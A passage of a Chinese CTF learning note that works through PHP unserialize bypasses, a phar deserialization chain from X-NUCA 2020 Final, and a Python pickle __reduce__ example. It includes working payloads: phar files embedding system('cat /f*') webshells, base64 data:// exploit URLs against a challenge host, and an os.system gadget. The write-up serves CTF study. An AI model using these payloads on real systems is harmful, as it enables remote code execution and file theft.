// if(strlen((string)$this->content) > 100) {
// $this->output("Too long!");
// die();
// }
// $res = file_put_contents($this->filename, $this->content);
// if($res) $this->output("Successful!");
// else $this->output("Failed!");
// } else {
// $this->output("Failed!");
// }
// }
// private function read() {
// $res = "";
// if(isset($this->filename)) {
// $res = file_get_contents($this->filename);
// }
// return $res;
// }
// private function output($s) {
// echo "[Result]: <br>";
// echo $s;
// }
// function __destruct() {
// if($this->op === "2")
// $this->op = "1";
// $this->content = "";
// $this->process();
// }
}
// echo urlencode(serialize(new FileHandler));
// O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
// 因为上传的时候存在检测ascii码存在一定的范围
$ser = serialize(new FileHandler);
echo $ser;
echo "\n";
function decorate($s){
$arr = explode(':',$s);
for($i = 0; $i < count($arr); $i++){
if(strpos($arr[$i],"\0") != false){
echo $arr[$i]."\n";
echo $arr[$i-2]."\n";
$arr[$i-2] = str_replace('s','S',$arr[$i-2]);
$arr[$i] = str_replace("\0",'\00',$arr[$i]); //注意区分单引号双引号
echo "替换后:".$arr[$i]."\n";
echo "替换后:".$arr[$i-2]."\n";
}
}
//拼接回来
return join(':',$arr);
}
echo decorate($ser);
// function is_valid($s) {
// for($i = 0; $i < strlen($s); $i++)
// if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
// return false;
// return true;
// }
// if(isset($_GET{'str'})) {
// $str = (string)$_GET['str'];
// if(is_valid($str)) {
// $obj = unserialize($str);
// }
// }
输出:
O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:8:"flag.php";s:10:" * content";N;}
" * op";i
{s
替换后:"\00*\00op";i
替换后:{S
" * filename";s
2;s
替换后:"\00*\00filename";s
替换后:2;S
" * content";N;}
"flag.php";s
替换后:"\00*\00content";N;}
替换后:"flag.php";S
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;}
之所以会产生这些不可见0字符 是因为protected和private属性的原因导致 所以需要我们进行替换
传入后查看页面源代码成功获取flag:
同时这道题目也可以装瞎 把protected的属性改成public进行攻击
但是当时这道题目在读取文件析构函数切目录的时候不在当前目录 需要获取其绝对路径进行读取
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
public $op = 2;
public $filename = '/proc/self/cmdline';
public $content;
}
$ser = serialize(new FileHandler);
echo $ser;
第二种方法 提前结束 快速析构
把属性值修改
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
改为
O:11:"FileHandler":4:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
或者删除结尾的大括号
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;
phar例题:
X-NUCA 2020 Final
- 变量覆盖读template.php
- 变量覆盖写入无损phar文件
- 变量覆盖触发phar反序列化
题目:
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}
include_once('template.php');
// key value
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
//看似多余的东西往往是解题的关键
if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
// 判断tp是否为template中的key
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
//读取文件
$content = file_get_contents($template[$tp]);
$temp = new Template($content);
} else {
echo "Please choice one template to reader";
}
?>
小技巧: 在源代码中看似没有一点用处的东西可能会成为解题的关键 比如在这里面存在着extract方法,可以用于变量覆盖
分析题目我们发现 想要读取文件 只能是在template数组中进行读取 但是其内容已经写好固定了,所以需要我们对template数组进行变量覆盖
对var数组进行操作 去读取template.php文件的内容
key value
array(‘template’ => array(‘tp1’ => ‘template.php’))
把template数组中的tp1这个key 的 value换成 template.php
即传参?var[template][tp1]=template.php
对upload后面的开始访问:http://122.114.252.87:1120/uploads/7cddc639132e5953bf969cc3c9b08fd7/67c8a41ae1c9406576160aaf0370816e.html
得到一段php代码
<?php
class Template{
public $content;
public $pattern;
public $suffix;
public function __construct($content){
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}
public function __destruct() {
$this->render();
}
public function render() {
//必须利用里面的break跳出死循环 才能到危险函数
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else{
break;
}
}
//suffic的长度必须大于5
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
//危险函数 需要走过来嗷
file_put_contents($filename, $this->content);
echo "Your html file is in " . $filename;
}
}
?>
因为在这个类中存在获取文件的方法 但是没有反序列化的途径 所以很明显嗷 这是个phar的问题
根据phar的条件进行解题探索
file_put_contents: phar可利用的函数
先构造pop链生成phar文件
本地测试时注意修改我们的php.ini的配置文件
避大坑!!!! 可能我们修改了之后 但是在vscode中无法操作成功 原因在于版本不匹配
姿势1:修改ini之后 直接在本地访问该网页 然后就会在同级目录生成对应文件
姿势2:在cmd中输入php -v
查看一下电脑环境的默认php版本
然后在phpStudy中修改对于版本的ini文件进行访问
想要file_get_contents读取到我们的phar.phar的内容有两种方法:
- file_get_contents可以发起http请求 只需要我们把phar文件写到服务器上就可以
- file_get_contents读取data://协议
data://的使用方式:
首先构造好反序列化的payload 然后在尾部添加上phar的八股文
<?php
class Template{
public $content = "<?php system('ls');?>";
public $pattern;
public $suffix = ".php";
}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
这样执行成功后会在本地生成一个phar的文件
然后我们读取里面的信息
<?php
$ph = file_get_contents('phar.phar');
echo $ph."\n"; //很多乱码 所以用base64加密一下
echo base64_encode($ph);
?>
out:
GIF89a<?php __HALT_COMPILER(); ?>
�fO:8:"Template":3:{s:7:"content";s:21:"<?php system('ls');?>";s:7:"pattern";N;s:6:"suffix";s:4:".php";}test.txty�d~ضtest�jKn' Ii�Fi۶� ޅF�GBMB
R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqcAAAAAQAAABEAAAABAAAAAABmAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIxOiI8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAAHkXuWQEAAAADH5/2LYBAAAAAAAAdGVzdOpqS24nIEkYaaBGadu2kiDehUaeAgAAAEdCTUI=
data读取:
data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqcAAAAAQAAABEAAAABAAAAAABmAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIxOiI8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAAHkXuWQEAAAADH5/2LYBAAAAAAAAdGVzdOpqS24nIEkYaaBGadu2kiDehUaeAgAAAEdCTUI=
那么现在我们如何让题目所在服务器读取我们的data?可以回想到该题目的第一个界面
我们使用变量覆盖的方法读取内容 !!注意嗷 一定要url编码一下哈
http://122.114.252.87:1120/?var[template][tp1]=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CR0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2BDQqcAAAAAQAAABEAAAABAAAAAABmAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIxOiI8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAAHkXuWQEAAAADH5%2F2LYBAAAAAAAAdGVzdOpqS24nIEkYaaBGadu2kiDehUaeAgAAAEdCTUI%3D&tp=tp1
写入成功
触发phar:
phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/6c50d8d7eaa92dc4998351838da62dcc.html
继续使用刚刚的file_get_contents函数加变量覆盖进行读取
http://122.114.252.87:1120/?var[template][tp1]=phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fuploads%2F7cddc639132e5953bf969cc3c9b08fd7%2F6c50d8d7eaa92dc4998351838da62dcc.html&tp=tp1
执行成功 成功获得php后缀
因为我的命令是ls 所以访问后结果是列出的内容
测试phpinfo
<?php
class Template{
public $content = "<?php phpinfo();?>";
public $pattern;
public $suffix = ".php";
}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
http://122.114.252.87:1120/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqZAAAAAQAAABEAAAABAAAAAABjAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoicGF0dGVybiI7TjtzOjY6InN1ZmZpeCI7czo0OiIucGhwIjt9CAAAAHRlc3QudHh0BAAAALoiuWQEAAAADH5/2LYBAAAAAAAAdGVzdPzuNzRrPw2POwCmprLd6Oy5KqEDAgAAAEdCTUI=&tp=tp1
/var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/2d867d52da656654f238ad3f2eceda1d.html
http://122.114.252.87:1120/?var[template][tp1]=phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/2d867d52da656654f238ad3f2eceda1d.html&tp=tp1
测试根目录
<?php
class Template{
public $content = "<?php system('ls /');?>";
public $pattern;
public $suffix = ".php";
}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
http://122.114.252.87:1120/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqeAAAAAQAAABEAAAABAAAAAABoAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjIzOiI8P3BocCBzeXN0ZW0oJ2xzIC8nKTs/PiI7czo3OiJwYXR0ZXJuIjtOO3M6Njoic3VmZml4IjtzOjQ6Ii5waHAiO30IAAAAdGVzdC50eHQEAAAA3yO5ZAQAAAAMfn/YtgEAAAAAAAB0ZXN0ytJDUfSL2VfkbJ2LEtfOtvBCIMUCAAAAR0JNQg==&tp=tp1
/var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/ed5cb36b19cdb7f89f98caaa83efda37.html
http://122.114.252.87:1120/?var[template][tp1]=phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/ed5cb36b19cdb7f89f98caaa83efda37.html&tp=tp1
获取flag
<?php
class Template{
public $content = "<?php system('cat /f*');?>";
public $pattern;
public $suffix = ".php";
}
$o = new Template();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
http://122.114.252.87:1120/?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqjAAAAAQAAABEAAAABAAAAAABtAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjI4OiI8P3BocCBzeXN0ZW0oJ2NhdCAvZmxhZycpOz8+IjtzOjc6InBhdHRlcm4iO047czo2OiJzdWZmaXgiO3M6NDoiLnBocCI7fQgAAAB0ZXN0LnR4dAQAAAB1JblkBAAAAAx+f9i2AQAAAAAAAHRlc3QyIp89T4AF5NafJYGx4f8/1grOagIAAABHQk1C&tp=tp1
/var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/50d6dc5cc571407544cd2bff51338b7e.html
http://122.114.252.87:1120/?var[template][tp1]=phar:///var/www/html/uploads/7cddc639132e5953bf969cc3c9b08fd7/50d6dc5cc571407544cd2bff51338b7e.html&tp=tp1
步骤是对的可能没有写flag嘿嘿 到此结束!
0720 Pickle反序列化
what is Pickle?
-
是python的一个模块,内存中的东西因为断电等原因容易丢失,可以将对象以文件的形式存放在磁盘上 实现持久化存储
-
只能在python中使用 import pickle
-
序列化后的数据可读性非常差 人一般无法识别
-
cPickle模块是C语言实现的
序列化
pickle.dump(obj, file[,protocol])
如果加s dumps 返回字符串 否则是到文件中
序列化对象,将结果数据流写入到文件对象中
参数protocol是序列化模式,默认为0,表示以文本的形式序列化,还可以是1或2,表示以二进制的形式序列化
举例
import pickle
class People(object):
def __init__(self, name="test"):
self.name = name
def say(self):
print("Hello ! My friends")
a = People()
c = pickle.dumps(a)
print(c)
out: 很多不可见字符
b'\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06People\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x04test\x94sb.'
生成的规则涉及到PVM:用来解释字节码的解释引擎
反序列化
pickle.load(file)
如果加s dumps 返回字符串 否则是到文件中
反序列化对象。将文件中的数据解析为一个python对象;
需要注意:使用时需要让python能够找到类的定义 否则会报错
组成
Pickle是一门基于栈的编程语言,有不同的编写方式,本质是一个轻量级的PVM(在Java中等同于JVM,用于解释字节码的解释引擎)
有三个部分组成:
- 指令处理器(Instruction processor)
从数据流读取操作码和参数,对其进行解释处理 指令处理器会循环执行整个过程,不断改变stack(堆栈)和memo(备忘录)区域的值 直到遇到‘.'这个结束符号。这时,最终停留在栈顶的值将会被作为反序列化对象返回。
- 栈区(stack)
由python的列表list实现,作为流数据处理过程中的暂存区,在不断的进出栈过程中完成对数据流的反序列化操作,并最终在栈顶生成反序列化的结果。
- 内存区(memo)
由python的字典dict实现,可以看作是数据索引或者标记,为PVM的整个生命周期提供存储功能,即将反序列化完成的数据以key-value的形式储存在memo中以便使用。
在第一部分中的IP常用操作码:
- c:读取本行的内容作为模块名module,读取下一行内容作为对象名object,然后将module.object作为可调用对象压入栈中
- (:将标记对象(mark)压入栈中,用于确定命令执行的位置,搭配t指令一起使用以便产生一个元组
- S: 后跟字符串在引号内 直到出现换行符 PVM将读取的内容压入栈中
- t : 从栈中向外弹出数据,弹射顺序从栈顶一点点出到元组依次后排 直到弹出左括号 此时弹出内容形成一个元组 然后再压入栈中
- R : 将之前压入栈中的元组(t)和可调用对象(c)全部弹出,然后将该元组作为可调用参数的对象并执行该对象。最终将结果压入到栈中。
- . : 结束整个Pickle反序列化过程
举例:
漏洞利用:利用__reduce__()
在IP指令中R的作用与object.__reduce__()关系密切:选择栈上的第一个对象作为函数,第二个对象作为参数(必须为元组),然后调用该函数
实际代码:
import pickle
import os
class A(object):
def __reduce__(self):
a = 'whoami'
return (os.system, (a,))
o = A()
#序列化
test = pickle.dumps(o)
#反序列化
pickle.loads(test)
#本地运行结果即为电脑名称
做题步骤
- 找 pickle反序列化位点
- 本地重写reduce方法,生成反序列化字符串
- 触发反序列化
与php反序列化的区别
php中能做什么由网站里面的class类写得方法决定
但是pickle只要存在反序列化的位点就可以任意执行,因为本地可以重写reduce方法
例题
例:师傅们用题愉快哈~
我是哈皮,祝您每天嗨皮!我们下期再见~